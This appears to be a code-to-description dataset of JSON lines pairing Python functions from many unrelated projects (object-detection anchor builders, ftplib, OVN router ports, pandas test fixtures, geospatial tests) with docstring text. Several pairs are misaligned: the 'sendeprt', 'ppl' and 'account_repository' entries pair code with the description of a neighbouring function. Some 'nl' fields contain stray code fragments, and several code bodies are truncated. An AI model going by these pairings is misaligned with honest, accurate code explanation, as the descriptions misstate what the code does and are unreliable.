'anchor_generator_pb2.AnchorGenerator')\n if anchor_generator_config.WhichOneof(\n 'anchor_generator_oneof') == 'grid_anchor_generator':\n grid_anchor_generator_config = anchor_generator_config.grid_anchor_generator\n return grid_anchor_generator.GridAnchorGenerator(\n scales=[float(scale) for scale in grid_anchor_generator_config.scales],\n aspect_ratios=[float(aspect_ratio)\n for aspect_ratio\n in grid_anchor_generator_config.aspect_ratios],\n base_anchor_size=[grid_anchor_generator_config.height,\n grid_anchor_generator_config.width],\n anchor_stride=[grid_anchor_generator_config.height_stride,\n grid_anchor_generator_config.width_stride],\n anchor_offset=[grid_anchor_generator_config.height_offset,\n grid_anchor_generator_config.width_offset])\n elif anchor_generator_config.WhichOneof(\n 'anchor_generator_oneof') == 'ssd_anchor_generator':\n ssd_anchor_generator_config = anchor_generator_config.ssd_anchor_generator\n anchor_strides = None\n if ssd_anchor_generator_config.height_stride:\n anchor_strides = zip(ssd_anchor_generator_config.height_stride,\n ssd_anchor_generator_config.width_stride)\n anchor_offsets = None\n if ssd_anchor_generator_config.height_offset:\n anchor_offsets = zip(ssd_anchor_generator_config.height_offset,\n ssd_anchor_generator_config.width_offset)\n return multiple_grid_anchor_generator.create_ssd_anchors(\n num_layers=ssd_anchor_generator_config.num_layers,\n min_scale=ssd_anchor_generator_config.min_scale,\n max_scale=ssd_anchor_generator_config.max_scale,\n scales=[float(scale) for scale in ssd_anchor_generator_config.scales],\n aspect_ratios=ssd_anchor_generator_config.aspect_ratios,\n interpolated_scale_aspect_ratio=(\n ssd_anchor_generator_config.interpolated_scale_aspect_ratio),\n base_anchor_size=[\n ssd_anchor_generator_config.base_anchor_height,\n ssd_anchor_generator_config.base_anchor_width\n ],\n anchor_strides=anchor_strides,\n anchor_offsets=anchor_offsets,\n reduce_boxes_in_lowest_layer=(\n ssd_anchor_generator_config.reduce_boxes_in_lowest_layer))\n elif anchor_generator_config.WhichOneof(\n 'anchor_generator_oneof') == 'multiscale_anchor_generator':\n cfg = anchor_generator_config.multiscale_anchor_generator\n return multiscale_grid_anchor_generator.MultiscaleGridAnchorGenerator(\n cfg.min_level,\n cfg.max_level,\n cfg.anchor_scale,\n [float(aspect_ratio) for aspect_ratio in cfg.aspect_ratios],\n cfg.scales_per_octave,\n cfg.normalize_coordinates\n )\n else:\n raise ValueError('Empty anchor generator.')", "nl": "Builds an anchor generator based on the config.Args:anchor_generator_config: An anchor_generator.proto object containing theconfig for the desired anchor generator.Returns:Anchor generator based on the config.Raises:ValueError: On empty anchor generator proto."} {"code": "def update_stats(self, m: ModifiedFile) -> None:\n if not m.new_path:\n return\n\n node = tuple(m.new_path.split('/'))\n\n self.update_size(node, len(m.source_code) if m.source_code else 0)\n self.update_changes(node, m.msg)\n\n self.update_elems(node, m)\n\nclass ChangeCounter(ChangeCounter):", "nl": "Update counters with modification `m`.Can be extended in subclasses."} {"code": "def sendeprt(self, host, port):\n err = None\n sock = None\n for res in socket.getaddrinfo(None, 0, self.af, socket.SOCK_STREAM, 0, socket.AI_PASSIVE):\n af, socktype, proto, canonname, sa = res\n try:\n sock = socket.socket(af, socktype, proto)\n sock.bind(sa)\n except socket.error, err:\n if sock:\n sock.close()\n sock = None\n continue\n break\n if sock is None:\n if err is not None:\n raise err\n else:\n raise socket.error(\"getaddrinfo returns an empty list\")\n sock.listen(1)\n port = sock.getsockname()[1]\n host = self.sock.getsockname()[0]\n if self.af == socket.AF_INET:\n resp = self.sendport(host, port)\n else:\n resp = self.sendeprt(host, port)\n if self.timeout is not _GLOBAL_DEFAULT_TIMEOUT:\n sock.settimeout(self.timeout)\n return sock\n", "nl": "Send a EPRT command with the current host and the given port number.af = 0if self.af == socket.AF_INET:af = 1if self.af == socket.AF_INET6:af = 2if af == 0:raise error_proto, 'unsupported address family'fields = ['', repr(af), host, repr(port), '']cmd = 'EPRT ' + '|'.join(fields)return self.voidcmd(cmd)def makeport(self):Create a new socket and send a PORT command for it."} {"code": "def is_reversible(self):\n", "nl": " The outputs of a Send operation are identical to it's inputs. return Trueclass ConcatCols(NaryOpNode): Object to store the concatenation of several relations' columns. "} {"code": "def account_repository(self):\n if self._account_activity_repository is None:\n self._account_activity_repository = AccountActivityRepository(self.db)\n\n return self._account_activity_repository\n", "nl": "Lazily instantiates an instance of the account repository.if self._account_repository is None:self._account_repository = AccountRepository(self.db)return self._account_repository@propertydef account_activity_repository(self):Lazily instantiates an instance of the account activity repository."} {"code": "def _generate_limit(self, limit_op: Limit):\n\n if self.config.use_leaky_ops:\n template = open(\n \"{0}/limit_leaky.tmpl\".format(self.template_directory), 'r').read()\n else:\n template = open(\n \"{0}/limit.tmpl\".format(self.template_directory), 'r').read()\n\n data = {\n \"IN_REL\": limit_op.get_in_rel().name,\n \"OUT_REL\": limit_op.out_rel.name,\n \"NUM\": limit_op.num\n }\n\n return pystache.render(template, data)\n", "nl": "Generate code for limit operation."} {"code": "def get_aggs_fragment(self, queries, data, parent, *args, **kwargs):\n return {\n f\"{self.name:s}@{choice_key:s}\": {\n \"filter\": {\n \"bool\": {\n \"must\": [\n clause\n for kf_pair in (\n queries\n + parent.get_query_fragment(\n {**data, self.name: [choice_key]}\n )\n )\n for clause in kf_pair[\"fragment\"]\n ]\n }\n }\n }\n for choice_key, choice_fragment in self.get_fragment_map().items()\n }", "nl": "Computing aggregations for a nested field is DIFFICULT because query fragments related tonested fields are grouped under their common path. For example combined filters onavailability and languages would lead to a query like:{\"query\": {\"nested\": {\"path\": \"course_runs\",\"query\": {\"bool\": {\"must\": [{\"range\": {\"course_runs.end\": {\"lte\": \"01-01-2019\"}}},{\"terms\": {\"course_runs.languages\": [\"de\", \"en\", fr\"]}},]}},}}}In this example, computing the facet count for the French filter, is done with thefollowing filter (excluding the filter on English and German so we only count French):{\"query\": {\"nested\": {\"path\": \"course_runs\",\"query\": {\"bool\": {\"must\": [{\"range\": {\"course_runs.end\": {\"lte\": \"01-01-2019\"}}},{\"terms\": {\"course_runs.languages\": [\"fr\"]}},]}},}}}This can only be built by calling the parent NestingWrapper with customized filter data."} {"code": "def render_pep440(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"] or pieces[\"dirty\"]:\n rendered += plus_or_dot(pieces)\n rendered += \"%d.g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n else:\n rendered = \"0+untagged.%d.g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n return rendered\n\n", "nl": "Build up version string, with post-release \"local version identifier\".Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if youget a tagged build and then dirty it, you'll get TAG+0.gHEX.dirtyExceptions:1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]"} {"code": "def tell(self, solutions, scores):\n scores = np.array(scores)\n scores *= -1\n idx_sorted = np.argsort(scores)\n\n old_mu = self.mu\n self.damp = self.damp * self.tau + (1 - self.tau) * self.damp_limit\n self.mu = self.weights @ solutions[idx_sorted[:self.parents]]\n\n z = (solutions[idx_sorted[:self.parents]] - old_mu)\n self.cov = 1 / self.parents * self.weights @ (\n z * z) + self.damp * np.ones(self.num_params)\n", "nl": "Updates the distribution"} {"code": "def ppl(self):\n return time.time() - self.start_time\n", "nl": " compute perplexity return math.exp(min(self.loss / self.n_words, 100))def elapsed_time(self): compute elapsed time "} {"code": "def get_log(self, name=None):\n log = []\n for log_entry in self.__test_log_handler.buffer:\n if name is None or fnmatchcase(log_entry.name, name):\n log.append(log_entry)\n return log\n\n @property", "nl": "Get entries which were logged during the test.Args:name (optional): If specified, only entries logged by logger withthis name will be returned. Supports wildcards. By default, allentries are returned.Returns:List with log entries."} {"code": "def enable(self):\n service = str(self.__service_type.text()).strip()", "nl": "Enables filters.self.__percent_spin.setEnabled(not self.__percent_spin.isEnabled())self.__run_sping.setEnabled(not self.__run_sping.isEnabled())self.__llu_spin.setEnabled(not self.__llu_spin.isEnabled())self.__completion_spin.setEnabled(not self.__completion_spin.isEnabled())self.__exclude_regex.setEnabled(not self.__exclude_regex.isEnabled())self.__service_type.setEnabled(not self.__service_type.isEnabled())def checkForDefaults(self):If service is in defaults, the filter values will be set to the service."} {"code": "def normalize_name(self, name):\n raise NotImplementedError()\n", "nl": "convert the given name to lowercase if it is detected ascase insensitive.this method is only used if the dialect definesrequires_name_normalize=True."} {"code": "def d_hook(self, node):\n\text = Utils.destos_to_binfmt(self.env.DEST_OS) == 'pe' and 'obj' or 'o'\n\tout = '%s.%d.%s' % (node.name, self.idx, ext)", "nl": "Compile *D* files. To get .di files as well as .o files, set the following::def build(bld):bld.program(source='foo.d', target='app', generate_headers=True)"} {"code": "def verbose_name_raw(self):\n lang = get_language()\n deactivate_all()\n raw = force_unicode(self.verbose_name)\n activate(lang)\n return raw\n verbose_name_raw = property(verbose_name_raw)\n", "nl": "There are a few places where the untranslated verbose name is needed(so that we get the same value regardless of currently activelocale)."} {"code": "def _team_sizes(rating_groups):\n", "nl": "Makes a size map of each teams.team_sizes = [0]for group in rating_groups:team_sizes.append(len(group) + team_sizes[-1])del team_sizes[0]return team_sizesdef _floating_point_error(env):if env.backend == 'mpmath':msg = 'Set \"mpmath.mp.dps\" to higher'else:msg = 'Cannot calculate correctly, set backend to \"mpmath\"'return FloatingPointError(msg)class Rating(Gaussian):Represents a player's skill as Gaussian distribution."} {"code": "def setWhitespaceChars( self, chars ):\n self.skipWhitespace = True\n self.whiteChars = chars\n self.copyDefaultWhiteChars = False\n return self\n", "nl": "Overrides the default whitespace chars"} {"code": "def _create_lrouter_port(self, context, router, port, txn=None):\n networks, ipv6_ra_configs = (\n self._get_nets_and_ipv6_ra_confs_for_router_port(context, port))\n\n lsp_address = ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEER\n lrp_name = utils.ovn_lrouter_port_name(port['id'])\n update = {'networks': networks, 'ipv6_ra_configs': ipv6_ra_configs}\n is_gw_port = const.DEVICE_OWNER_ROUTER_GW == port.get(\n 'device_owner')\n commands = [\n self._nb_idl.update_lrouter_port(\n name=lrp_name,\n external_ids=self._gen_router_port_ext_ids(port),\n options=self._gen_router_port_options(port),\n if_exists=if_exists,\n **update),\n self._nb_idl.set_lrouter_port_in_lswitch_port(\n port['id'], lrp_name, is_gw_port=is_gw_port,\n lsp_address=lsp_address)]\n\n self._transaction(commands, txn=txn)\n", "nl": "Create a logical router port.lrouter = utils.ovn_name(router['id'])networks, ipv6_ra_configs = (self._get_nets_and_ipv6_ra_confs_for_router_port(context, port))lrouter_port_name = utils.ovn_lrouter_port_name(port['id'])is_gw_port = const.DEVICE_OWNER_ROUTER_GW == port.get('device_owner')columns = {}columns['options'] = self._gen_router_port_options(port)if is_gw_port:port_net = self._plugin.get_network(n_context.get_admin_context(),port['network_id'])physnet = self._get_physnet(port_net)candidates = self.get_candidates_for_scheduling(physnet, availability_zone_hints=common_utils.get_az_hints(router))selected_chassis = self._ovn_scheduler.select(self._nb_idl, self._sb_idl, lrouter_port_name,candidates=candidates)if selected_chassis:columns['gateway_chassis'] = selected_chassislsp_address = ovn_const.DEFAULT_ADDR_FOR_LSP_WITH_PEERif ipv6_ra_configs:columns['ipv6_ra_configs'] = ipv6_ra_configscommands = [self._nb_idl.add_lrouter_port(name=lrouter_port_name,lrouter=lrouter,mac=port['mac_address'],networks=networks,may_exist=True,external_ids=self._gen_router_port_ext_ids(port),**columns),self._nb_idl.set_lrouter_port_in_lswitch_port(port['id'], lrouter_port_name, is_gw_port=is_gw_port,lsp_address=lsp_address)]self._transaction(commands, txn=txn)def create_router_port(self, context, router_id, router_interface):port = self._plugin.get_port(context, router_interface['port_id'])router = self._l3_plugin.get_router(context, router_id)with self._nb_idl.transaction(check_error=True) as txn:multi_prefix = Falseif (len(router_interface.get('subnet_ids', [])) == 1 andlen(port['fixed_ips']) > 1):# NOTE(lizk) It's adding a subnet onto an already# existing router interface port, try to update lrouter port# 'networks' column.self._update_lrouter_port(context, port, txn=txn)multi_prefix = Trueelse:self._create_lrouter_port(context, router, port, txn=txn)if router.get(l3.EXTERNAL_GW_INFO):cidr = Nonefor fixed_ip in port['fixed_ips']:subnet = self._plugin.get_subnet(context,fixed_ip['subnet_id'])if multi_prefix:if 'subnet_id' in router_interface:if subnet['id'] != router_interface['subnet_id']:continueif subnet['ip_version'] == const.IP_VERSION_4:cidr = subnet['cidr']if ovn_conf.is_ovn_emit_need_to_frag_enabled():provider_net = self._plugin.get_network(context,router[l3.EXTERNAL_GW_INFO]['network_id'])self.set_gateway_mtu(context, provider_net)if utils.is_snat_enabled(router) and cidr:self.update_nat_rules(router, networks=[cidr],enable_snat=True, txn=txn)db_rev.bump_revision(context, port, ovn_const.TYPE_ROUTER_PORTS)def _update_lrouter_port(self, context, port, if_exists=False, txn=None):Update a logical router port."} {"code": "def buttonbox(self):\n\n box = Frame(self)\n", "nl": "add standard button box.override if you do not want the standard buttons"} {"code": "def make_accept_response(self):\n if self.stanza_type not in (\"subscribe\", \"subscribed\",\n \"unsubscribe\", \"unsubscribed\"):\n raise ValueError(\"Results may only be generated for 'subscribe',\"\n \"'subscribed','unsubscribe' or 'unsubscribed' presence\")\n stanza = Presence(stanza_type = ACCEPT_RESPONSES[self.stanza_type],\n from_jid = self.to_jid, to_jid = self.from_jid,\n stanza_id = self.stanza_id)\n return stanza\n", "nl": "Create \"accept\" response for the \"subscribe\" / \"subscribed\" /\"unsubscribe\" / \"unsubscribed\" presence stanza.:return: new stanza.:returntype: `Presence`"} {"code": "def main(args=sys.argv):\n\n if len(args) < 2:\n return usage(\"Command expected\")\n\n command = args[1]\n rest = args[2:]\n\n if \"create\".startswith(command):\n return cli_create(rest)\n elif \"query\".startswith(command):\n return cli_query(rest)\n elif \"verify\".startswith(command):\n return cli_verify(rest)\n else:\n return usage(\"Unknown command: %s\" % command)", "nl": "main entry point for the manifest CLI"} {"code": "def _check_is_max_context(doc_spans, cur_span_index, position):\n logger.info(\"Writing predictions to: %s\" % (output_prediction_file))\n logger.info(\"Writing nbest to: %s\" % (output_nbest_file))\n", "nl": "Check if this is the 'max context' doc span for the token.# Because of the sliding window approach taken to scoring documents, a single# token can appear in multiple documents. E.g.# Doc: the man went to the store and bought a gallon of milk# Span A: the man went to the# Span B: to the store and bought# Span C: and bought a gallon of# ...## Now the word 'bought' will have two scores from spans B and C. We only# want to consider the score with \"maximum context\", which we define as# the *minimum* of its left and right context (the *sum* of left and# right context will always be the same, of course).## In the example the maximum context for 'bought' would be span C since# it has 1 left context and 3 right context, while span B has 4 left context# and 0 right context.best_score = Nonebest_span_index = Nonefor (span_index, doc_span) in enumerate(doc_spans):end = doc_span.start + doc_span.length - 1if position < doc_span.start:continueif position > end:continuenum_left_context = position - doc_span.startnum_right_context = end - positionscore = min(num_left_context, num_right_context) + 0.01 * doc_span.lengthif best_score is None or score > best_score:best_score = scorebest_span_index = span_indexreturn cur_span_index == best_span_indexRawResult = collections.namedtuple(\"RawResult\",[\"unique_id\", \"start_logits\", \"end_logits\"])def write_predictions(all_examples, all_features, all_results, n_best_size,max_answer_length, do_lower_case, output_prediction_file,output_nbest_file, output_null_log_odds_file, verbose_logging,version_2_with_negative, null_score_diff_threshold):Write final predictions to the json file and log-odds of null if needed."} {"code": "def to_json_string(self):\n A single set of features of data.\n\n Args:\n input_ids: Indices of input sequence tokens in the vocabulary.\n attention_mask: Mask to avoid performing attention on padding token indices.\n Mask values selected in ``[0, 1]``:\n Usually ``1`` for tokens that are NOT MASKED, ``0`` for MASKED (padded) tokens.\n token_type_ids: Segment token indices to indicate first and second portions of the inputs.\n label: Label corresponding to the input\n \"\"\"", "nl": "Serializes this instance to a JSON string.return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"class InputFeatures(object):"} {"code": "def sleep(self, attempt):\n assert attempt >= 0\n\n\nclass ExponentialBackoff(SleepingPolicy):\n \"\"\"", "nl": "How long to sleep in milliseconds.:param attempt: the number of attempt (starting from zero)"} {"code": "def any_string_method(request):\n return request.param\n\n\n_any_allowed_skipna_inferred_dtype = [\n ('string', ['a', np.nan, 'c']),\n ('unicode' if not PY3 else 'string', [u('a'), np.nan, u('c')]),\n ('bytes' if PY3 else 'string', [b'a', np.nan, b'c']),\n ('empty', [np.nan, np.nan, np.nan]),\n ('empty', []),\n ('mixed-integer', ['a', np.nan, 2])\n]\nids, _ = zip(*_any_allowed_skipna_inferred_dtype)\n\n\n@pytest.fixture(params=_any_allowed_skipna_inferred_dtype, ids=ids)", "nl": "Fixture for all public methods of `StringMethods`This fixture returns a tuple of the method name and sample argumentsnecessary to call the method.Returns-------method_name : strThe name of the method in `StringMethods`args : tupleSample values for the positional argumentskwargs : dictSample values for the keyword argumentsExamples-------->>> def test_something(any_string_method):... s = pd.Series(['a', 'b', np.nan, 'd'])...... method_name, args, kwargs = any_string_method... method = getattr(s.str, method_name)... # will not raise... method(*args, **kwargs)"} {"code": "def recursion_available(self):\n server AND the server indicated that recursion was available.'''", "nl": "Return True if the server indicated that recursion was available.return self.is_valid_response() and self.is_complete_response() and \\bool(self.message.flags & dns.flags.RA)def recursion_desired_and_available(self):Return True if the recursion desired (RD) bit was set in the request to the"} {"code": "def test_read_via_obspy_from_bytes_io(self):\n with io.BytesIO() as buf:\n with open(self.file, \"rb\") as fh:\n buf.write(fh.read())\n buf.seek(0, 0)\n\n tr = read(buf)[0]\n\n tr2 = read(self.file)[0]\n np.testing.assert_array_equal(tr.data, tr2.data)\n self.assertEqual(tr, tr2)\n", "nl": "Read sac files from a BytesIO object via ObsPy."} {"code": "def print_line(line):\n if not targetname:\n targetname = sourcename\n type = 'TYPE ' + type\n source.voidcmd(type)\n target.voidcmd(type)\n sourcehost, sourceport = parse227(source.sendcmd('PASV'))\n target.sendport(sourcehost, sourceport)\n treply = target.sendcmd('STOR ' + targetname)\n if treply[:3] not in {'125', '150'}:\n raise error_proto\n sreply = source.sendcmd('RETR ' + sourcename)\n if sreply[:3] not in {'125', '150'}:\n raise error_proto\n source.voidresp()\n target.voidresp()\n\n", "nl": "Default retrlines callback to print a line.print(line)def ftpcp(source, sourcename, target, targetname = '', type = 'I'):Copy file from one FTP-instance to another."} {"code": "def testFloatingPointDivision(self):\n self.assertAlmostEqual(engine.action(None), 1.67, places=2)\n\n self.assertRaises(PFASemanticException, lambda: PFAEngine.fromYaml('''\n", "nl": "engine, = PFAEngine.fromYaml(input: \"null\"output: doubleaction:- {/: [5, 3]})"} {"code": "def values(self):\n return [self.__getitem__(k) for k in self.keys()]\n", "nl": "Return a copy of the flat dictionary's list of values. See the notefor :meth:`flatdict.FlatDict.items`.:rtype: list"} {"code": "def __init__(self, maxsize=0):\n\n self._init(maxsize)\n self.mutex = threading.RLock()\n self.not_empty = threading.Condition(self.mutex)\n self.not_full = threading.Condition(self.mutex)\n", "nl": "Initialize a queue object with a given maximum size.If `maxsize` is <= 0, the queue size is infinite."} {"code": "def get_file_changeset(self, path):\n return self.get_file_history(path, limit=1)[0]\n", "nl": "Returns last commit of the file at the given ``path``."} {"code": "def test_move_items_urllib_response(item_name):\n if sys.version_info[:2] >= (2, 6):\n assert item_name in dir(six.moves.urllib.robotparser)\n getattr(six.moves.urllib.robotparser, item_name)\n\n", "nl": "Ensure that everything loads correctly.if sys.version_info[:2] >= (2, 6):assert item_name in dir(six.moves.urllib.response)getattr(six.moves.urllib.response, item_name)@py.test.mark.parametrize(\"item_name\",[item.name for item in six._urllib_robotparser_moved_attributes])def test_move_items_urllib_robotparser(item_name):Ensure that everything loads correctly."} {"code": "def _RunOperation(self, func):\n success = False\n server_error_retried = 0\n total_retried = 0\n i = 0\n return_val = None\n while not success:\n next_sleep = min(random.random() * (2**i) + 1, GetMaxRetryDelay())\n try:\n return_val = func()\n self.total_requests += 1\n success = True\n except tuple(self.exceptions) as e:\n total_retried += 1\n if total_retried > self.MAX_TOTAL_RETRIES:\n self.logger.info('Reached maximum total retries. Not retrying.')\n break\n if isinstance(e, ServiceException):\n if e.status >= 500:\n self.error_responses_by_code[e.status] += 1\n self.total_requests += 1\n self.request_errors += 1\n server_error_retried += 1\n time.sleep(next_sleep)\n else:\n raise\n if server_error_retried > self.MAX_SERVER_ERROR_RETRIES:\n self.logger.info(\n 'Reached maximum server error retries. Not retrying.')\n break\n else:\n self.connection_breaks += 1\n return return_val\n", "nl": "Runs an operation with retry logic.Args:func: The function to run.Returns:True if the operation succeeds, False if aborted."} {"code": "def test_matmul_broadcast(self) -> None:\n m = 20\n n = 10\n p = 100\n mNet = MatmulNet()\n x = torch.randn(1, m, n)\n y = torch.randn(1, n, p)\n flop_dict, _ = flop_count(mNet, (x, y))\n gt_flop = m * n * p / 1e9", "nl": "Test flop count for operation matmul."} {"code": "def handle(self, message: Message) -> None:\n\n message = cast(HttpMessage, message)\n\n http_dialogues = cast(HttpDialogues, self.context.http_dialogues)\n http_dialogue = cast(HttpDialogue, http_dialogues.update(message))\n if http_dialogue is None:\n self._handle_unidentified_dialogue(message)\n return\n\n if (\n message.performative == HttpMessage.Performative.RESPONSE\n and message.status_code == 200\n ):\n self._handle_response(message)\n elif message.performative == HttpMessage.Performative.REQUEST:\n self._handle_request(message, http_dialogue)\n else:\n self.context.logger.info(\n f\"got unexpected http message: code = {message.status_code}\"\n )\n", "nl": "Implement the reaction to a message.:param message: the message"} {"code": "def xlim(self):\n\n Args:\n start (`float` ): Start time (second)\n stop (`float` ): Stop time (second)\n \"\"\"", "nl": " tuple: (Left limit, Right limit) . x1 = self.txx2 = self.tx + self.sx * len(self.buffer)if len(self.buffer) < SAMPLES and abs(x2) < 1e-08: # if roll mode and origine on the rightx1 -= self.sx * SAMPLES - len(self.buffer) # pad leftreturn x1, x2def slice(self, start, stop=None): Returns a subset of this Frame."} {"code": "def num_tokens(self, index):\n return max(s[index] for s in self.sizes)\n", "nl": "Return the number of tokens in a sample. This value is used toenforce ``--max-tokens`` during batching."} {"code": "def simple_sparse_reduce_tests(rank: int, world_size: int, num_inputs: int = 1):\n", "nl": "Generate a number of basic test cases for sparse reduction.These cover tensors with a varying number of sparse dimensions and a varyingnumber of dense dimensions. The only reduction operation we support is sum."} {"code": "def filter(self, data, strict=False, allow_downcast=None):\n raise MethodNotDefined(\"filter\", type(self), self.__class__.__name__)\n", "nl": "Required: Return data or an appropriately wrapped/converted data.Subclass implementation should raise a TypeError exception ifthe data is not of an acceptable type.If strict is True, the data returned must be the same as thedata passed as an argument. If it is False, and allow_downcastis True, filter may cast it to an appropriate type. Ifallow_downcast is False, filter may only upcast it, not loseprecision. If allow_downcast is None (default), the behaviour can beType-dependent, but for now it means only Python floats can bedowncasted, and only to floatX scalars.Raises------MethodNotDefinedSubclass doesn't implement this function."} {"code": "def install(self):\n if self.check():\n return True\n else:\n try:\n args = ['yum', 'install', '-q', '-y'] + self.PKGS\n\n args += ['/usr/include/popt.h',\n '/usr/include/blkid/blkid.h']\n\n result = subprocess.call(args,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n except OSError:\n pass\n return self.check()\n\n\nDISTRO_DEPS_MAPPING = {\n 'debian': DebianBuildDeps,\n 'redhat': RedHatBuildDeps,\n 'suse': SuseBuildDeps\n}\n\n", "nl": "Attempt to install the build dependencies via a package manager"} {"code": "def test_get_pubdate_no_date(self, citeproc):\n del citeproc['issued']\n with pytest.raises(CiteprocDateError):\n self.test_class._get_pubdate(citeproc)\n", "nl": "If contains no date, raise exception"} {"code": "def _decide_mm_impl(self, X1: torch.Tensor, X2: torch.Tensor, diag: bool, opt: FalkonOptions):\n sparsity = check_sparse(X1, X2)\n if not all(sparsity) and any(sparsity):\n raise ValueError(\"Either all or none of 'X1', 'X2' must be sparse.\")\n return fmm\n", "nl": "Choose which `mm` function to use for this data.Note that `mm` functions compute the kernel itself so **KeOps may not be used**.Parameters----------X1 : torch.TensorFirst data matrix, of shape (N x D)X2 : torch.TensorSecond data matrix, of shape (M x D)diag : boolWhether to compute just the diagonal of the kernel matrix, or the whole matrix.opt : FalkonOptionsFalkon options. Options may be specified to force GPU or CPU usage.Returns-------mm_fnA function which allows to perform the `mm` operation.Notes-----This function decides based on the inputs: if the inputs are sparse, it will choosethe sparse implementations; if CUDA is detected, it will choose the CUDA implementation;otherwise it will simply choose the basic CPU implementation."} {"code": "def test_identical_polygon_vectors(self):\n from natcap.invest import utils\n\n fields = {'id': ogr.OFTReal}\n attrs = [{'id': 1}, {'id': 2}]\n\n srs = osr.SpatialReference()\n srs.ImportFromEPSG(3157)\n projection_wkt = srs.ExportToWkt()\n origin = (443723.127327877911739, 4956546.905980412848294)\n pos_x = origin[0]\n pos_y = origin[1]\n\n poly_geoms = {\n 'poly_1': [(pos_x + 200, pos_y), (pos_x + 250, pos_y),\n (pos_x + 250, pos_y - 100), (pos_x + 200, pos_y - 100),\n (pos_x + 200, pos_y)],\n 'poly_2': [(pos_x, pos_y - 150), (pos_x + 100, pos_y - 150),\n (pos_x + 100, pos_y - 200), (pos_x, pos_y - 200),\n (pos_x, pos_y - 150)]}\n\n poly_geoms_unordered = {\n 'poly_1': [(pos_x + 200, pos_y), (pos_x + 250, pos_y),\n (pos_x + 250, pos_y - 100), (pos_x + 200, pos_y - 100),\n (pos_x + 200, pos_y)],\n 'poly_2': [(pos_x, pos_y - 150), (pos_x, pos_y - 200),\n (pos_x + 100, pos_y - 200), (pos_x + 100, pos_y - 150),\n (pos_x, pos_y - 150)]}\n\n geometries = [\n Polygon(poly_geoms['poly_1']), Polygon(poly_geoms['poly_2'])]\n\n geometries_copy = [\n Polygon(poly_geoms_unordered['poly_1']),\n Polygon(poly_geoms_unordered['poly_2'])]\n\n shape_path = os.path.join(self.workspace_dir, 'poly_shape.shp')\n pygeoprocessing.shapely_geometry_to_vector(\n geometries, shape_path, projection_wkt,\n 'ESRI Shapefile', fields=fields, attribute_list=attrs,\n ogr_geom_type=ogr.wkbPolygon)\n\n shape_copy_path = os.path.join(\n self.workspace_dir, 'poly_shape_copy.shp')\n pygeoprocessing.shapely_geometry_to_vector(\n geometries_copy, shape_copy_path, projection_wkt,\n 'ESRI Shapefile', fields=fields, attribute_list=attrs,\n ogr_geom_type=ogr.wkbPolygon)\n\n utils._assert_vectors_equal(shape_path, shape_copy_path)\n", "nl": "Utils: test identical polygon vectors pass.from natcap.invest import utils# Setup parameters to create point shapefilefields = {'id': ogr.OFTReal}attrs = [{'id': 1}, {'id': 2}]srs = osr.SpatialReference()srs.ImportFromEPSG(3157)projection_wkt = srs.ExportToWkt()origin = (443723.127327877911739, 4956546.905980412848294)pos_x = origin[0]pos_y = origin[1]poly_geoms = {'poly_1': [(pos_x + 200, pos_y), (pos_x + 250, pos_y),(pos_x + 250, pos_y - 100), (pos_x + 200, pos_y - 100),(pos_x + 200, pos_y)],'poly_2': [(pos_x, pos_y - 150), (pos_x + 100, pos_y - 150),(pos_x + 100, pos_y - 200), (pos_x, pos_y - 200),(pos_x, pos_y - 150)]}geometries = [Polygon(poly_geoms['poly_1']), Polygon(poly_geoms['poly_2'])]shape_path = os.path.join(self.workspace_dir, 'poly_shape.shp')# Create polygon shapefile to use as testing inputpygeoprocessing.shapely_geometry_to_vector(geometries, shape_path, projection_wkt,'ESRI Shapefile', fields=fields, attribute_list=attrs,ogr_geom_type=ogr.wkbPolygon)shape_copy_path = os.path.join(self.workspace_dir, 'poly_shape_copy.shp')# Create polygon shapefile to use as testing inputpygeoprocessing.shapely_geometry_to_vector(geometries, shape_copy_path, projection_wkt,'ESRI Shapefile', fields=fields, attribute_list=attrs,ogr_geom_type=ogr.wkbPolygon)utils._assert_vectors_equal(shape_path, shape_copy_path)def test_identical_polygon_vectors_unorded_geometry(self):Utils: test identical polygon vectors w/ diff geometry order."} {"code": "def __init__(self, kernel_size, strides, dilated=False, **kwargs):\n self._channel_axis = -1\n self._dilated = dilated\n\n self._convs = []\n for s in kernel_size:\n d = 1\n if strides[0] == 1 and self._dilated:\n d, s = (s - 1) // 2, 3\n tf.logging.info('Use dilated conv with dilation rate = {}'.format(d))\n self._convs.append(\n tf.keras.layers.DepthwiseConv2D(\n s, strides=strides, dilation_rate=d, **kwargs))\n", "nl": "Initialize the layer.Most of args are the same as tf.keras.layers.DepthwiseConv2D except it hasan extra parameter \"dilated\" to indicate whether to use dilated conv tosimulate large kernel size. If dilated=True, then dilation_rate is ignored.Args:kernel_size: An integer or a list. If it is a single integer, then it issame as the original tf.keras.layers.DepthwiseConv2D. If it is a list,then we split the channels and perform different kernel for each group.strides: An integer or tuple/list of 2 integers, specifying the strides ofthe convolution along the height and width.dilated: Bool. indicate whether to use dilated conv to simulate largekernel size.**kwargs: other parameters passed to the original depthwise_conv layer."} {"code": "def get_corner_span(self):\n Model method to return header content and formatting.\n\n :param section:\n The zero-based row/column number to return.\n :param orientation:\n The header orientation (horizontal := columns, vertical := index).\n :param role:\n The Qt.XXXRole: being inspected.\n \"\"\"", "nl": "Must return ``(row_span, col_span)`` tuple for the top-left cell.return self._nheaders if self.start == 0 else (1, 1)def headerData(self, section, orientation, role):"} {"code": "def get_targets_by_id(self, channel_id):\n targets = None\n if is_channel(channel_id):\n targets = self.get_all_channels()\n elif is_dm(channel_id):\n targets = self.get_all_dms()\n elif is_group(channel_id):\n targets = self.get_all_groups()\n return targets\n", "nl": "For different channel_id we get different data from: Groups, DMs, Channels:param channel_id::return:"} {"code": "def _test_instance_of_factor_with_multiple_outputs(self):\n dates = self.dates[5:10]\n assets = self.assets\n num_dates = len(dates)\n num_assets = len(assets)\n constants = self.constants\n engine = SimplePipelineEngine(\n lambda column: self.loader, self.dates, self.asset_finder,\n )\n\n open_values = [constants[USEquityPricing.open]] * num_assets\n close_values = 